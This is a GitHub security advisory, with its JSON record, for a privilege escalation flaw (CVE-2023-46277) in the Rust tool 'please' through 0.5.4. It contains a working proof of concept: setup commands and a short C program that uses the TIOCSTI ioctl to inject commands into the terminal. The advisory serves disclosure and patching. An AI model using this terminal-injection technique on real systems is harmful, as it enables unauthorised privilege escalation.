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GHSA-CGF8-H3FP-H956

Vulnerability from github – Published: 2023-10-20 06:30 – Updated: 2024-09-12 18:41
VLAI
Summary
Pleaser privilege escalation vulnerability
Details

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "pleaser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-20T22:37:41Z",
    "nvd_published_at": "2023-10-20T05:15:08Z",
    "severity": "HIGH"
  },
  "details": "please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)\n\nHere is how to see it in action:\n\n```\n$ cd \"$(mktemp -d)\"\n$ git clone --depth 1 https://gitlab.com/edneville/please.git\n$ cd please/\n$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9\n$ cargo test \u0026\u0026 cargo build --release\n$ echo \"[${USER}_as_nobody]\"$\u0027\\nname=\u0027\"${USER}\"$\u0027\\ntarget=nobody\\nrule=.*\\nrequire_pass=false\u0027 | sudo tee /etc/please.ini\n$ sudo chown root:root ./target/release/please\n$ sudo chmod u+s ./target/release/please\n$ cat \u003c\u003cTIOCSTI_C_EOF | tee TIOCSTI.c\n#include \u003csys/ioctl.h\u003e\n\nint main(void) {\n  const char *text = \"id\\n\";\n  while (*text)\n    ioctl(0, TIOCSTI, text++);\n  return 0;\n}\nTIOCSTI_C_EOF\n$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c\n$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody\n```\n\nPlease note that:\n\nThis affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.\n",
  "id": "GHSA-cgf8-h3fp-h956",
  "modified": "2024-09-12T18:41:42Z",
  "published": "2023-10-20T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46277"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustsec/advisory-db/pull/1798"
    },
    {
      "type": "PACKAGE",
      "url": "https://gitlab.com/edneville/please"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/edneville/please/-/issues/13"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/edneville/please/-/merge_requests/69#note_1594254575"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2023-0066.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pleaser privilege escalation vulnerability"
}



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